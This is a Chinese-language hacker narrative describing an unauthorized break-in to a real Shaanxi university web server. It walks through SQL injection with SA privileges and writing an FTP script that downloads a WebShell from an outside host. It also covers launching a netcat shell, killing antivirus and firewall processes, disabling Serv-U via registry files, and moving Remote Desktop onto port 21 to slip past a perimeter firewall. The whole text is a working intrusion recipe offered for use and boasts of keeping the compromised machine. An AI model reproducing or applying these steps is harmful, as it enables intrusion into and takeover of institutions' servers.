最近黑防上面有很多如何入侵高校網站的文章,大都是進行的注入攻擊。呵呵,為了迎合大眾所趨,我也進入一些高校網站玩了玩。這不,這次就發現了一個陝西高校裡面一個網站的注入漏洞,不過獲取最高權限還真費了一翻勁。
第一步:發現注入漏洞在它的一個新聞顯示頁面的聯接上加一個,呵呵,可以注入!看看是什麼權限的,在後面在加一個 and user>0 顯示有dbo的字樣,暈,竟然可以擁有SA的權限,唉,真不知道管理員是怎麼搞的!先不管這些,拿出明小子的domain,現在的版本到了3.5了(和其他注入工具相比,domain用起來還是比較順手的,不過命令回顯有點糟糕)。既然發現了注入點,那麼開始干活吧!
第二步:上傳文件既然現在有了sa的權限,那麼就可以執行管理員權限的命令了。不過因為一般工具的回顯都很糟糕(至少我用NBSI,domain等都有這樣的問題),所以還是先搞個WebShell上去再說吧。首先需要找到web根目錄,不然WebShell放哪啊?!在domain的命令行下多dir幾次就可以找到了,根據一般人的習慣,根目錄不會太深,取的文件名和網站多少有點關系。估計沒有幾個管理員會把根目錄名取得很怪異並且放在層次很深的地方(這是管理員都有的通病,怕麻煩,圖方便,可是方便了自己也方便了我們,嘿嘿)。很快就可以找到根目錄為 d:/ccs。那麼就上傳WebShell 吧!可是這幾個注入工具的上傳功能都有點問題,要麼傳小文件沒問題,傳大了就不行了!要麼根本沒傳上去了,現成的工具沒法上傳了,咋辦?不怕不怕,總不能在一棵樹上吊死吧!用ftp下載!在domain的命令行下依次輸入下列語句:echo open showff.51.net>>c:ftpecho showff>>c:ftpecho 123456>>c:ftpecho cd public_html>>c:ftpecho get WebShell.asp d:ccsindex_admin.asp>>c:ftpecho bye>>c:ftp當然首先你要有一個FTP的空間,我用的虎翼的FTP,速度很快。這樣在服務器c盤上就生成了一個名為ftp的文件內容就是剛輸入的東東。命令行下輸入ftp -s:c:ftp,點擊執行,這樣一個 WebShell就下載到我們可愛的肉雞上了。浏覽器輸入地址查看進入我們的WebShell 裡面去,我們下載的海洋2006,功能強大,好用.到現在為止,如果只是想活動WebShell的話似乎就夠了,海陽的WebShell可以干很多事情了。但是我們的目標是進一步獲取更大的權限。
第三步:偷天換日更換服務用WebShell上傳一個nc,然後在domain的命令行裡面執行 nc-e cmd.exe –l –p 43958,在自己的電腦上執行telnet xxx.xxx.edu.cn 43958沒有任何反應,顯示為”不能連接到主機”這樣的字樣。很好,很正常,服務器裡面沒有殺毒軟件和防火牆軟件才怪了。為了進一步證實這點,在domain裡面執行netstat –a,根據返回結果我又telnet了幾個打開的端口.其中80端口和21端口開了,都可以訪問到,其他的端口根本沒法使用!那麼就用pslist和pskill把相關的殺毒軟件和防火牆關了呗!呵呵,當然我也這麼做了,但事實上沒那麼簡單。這台服務器上雖然有瑞星防火牆,但是關了之後當我再次telnet遠處的nc時根本沒有反應,這是為什麼呢?(沉思了幾秒)呵呵,其實很簡單的,因為這是一個學校的裡面的內部網站,八成在這台服務器的周圍存在著其他類型的防火牆或者網關之類的東西,只允許外部訪問這台服務器的80和21端口。可是80和21端口都被占用了,難道我們就沒法使用我們自己的木馬或者獲取3389遠程控制權嗎?非也!看我來施展偷天換日大法!首先我們要意識到80端口必須存在不然很快就會被發現被黑,那麼只能拿21端口下手了。一般只是管理員使用文件上傳而已,暫時可以不被發現的。用net start命令查看發現對方使用的Serv-U的FTP服務器。Step one:設法使Serv-U服務禁止,這樣它就不能開機自動運行而占用21端口了。方法如下:編輯一個reg文件,內容如下:REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]Start=dword:00000004注意REGEDIT4下面要有一空行。Start為2是自動,3是手動,4是禁止。這和服務裡面的設置是一一對應的。保存為a.reg文件,用WebShell上傳至服務器的d:/ccs/index/a.reg,使用domain運行 regedit /s d:/ccs/index/a.reg 這樣Serv-U服務就被禁止了。隨後用在domain裡面使用命令net stop serv-u將現有的ftp進程關掉。Step two:修改Terminal遠程登錄的端口號。原本是3389的,現在要改為21。可以編輯注冊表修改,也可以直接運行3389端口修改器類似這樣的程序。我使用x3389程序修改。直接上傳至服務器,在domain裡面執行x3389.exe 21即可。隨後設法開啟3389服務,網上有很多這樣的方法,這裡不說了。如果想使Terminal服務總是開機自動運行,還需要編輯一reg文件內容如下:
REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService]Start=dword:00000002保存為b.reg,上傳服務器並運行regedit /s d:/ccs/index/b.reg。如果嫌開Terminal服務麻煩,干脆直接傳個Radmin或者其他什麼遠程控制軟件設置端口為21不就得了嗎?Step three:重啟服務器。上傳個reboot工具,執行重啟。這是為了Terminal服務需要的。如果使用其他木馬可以不考慮重啟。重啟後,在用domain運行net start ,發現Serv-U不見了,呵呵!那麼,現在就可以大搖大擺的進入服務器了!這裡我隨便上傳了一個nc試試效果,執行命令為nc –e cmd.exe –l –p 21,然後在本地執行telnet xxx.xxx.edu.cn 21,返回結果。
總結:其實,只要把原有的FTP禁掉,空出21端口來,那其他的事情也就好做了。主要是開始如何察覺到它的周圍防火牆的情況以及允許通過的端口。了解了這些,服務器還不是任我們魚肉嗎?當然,為了保證肉雞的長久性,穩定性和不被發現性,最好使用隧道技術通過。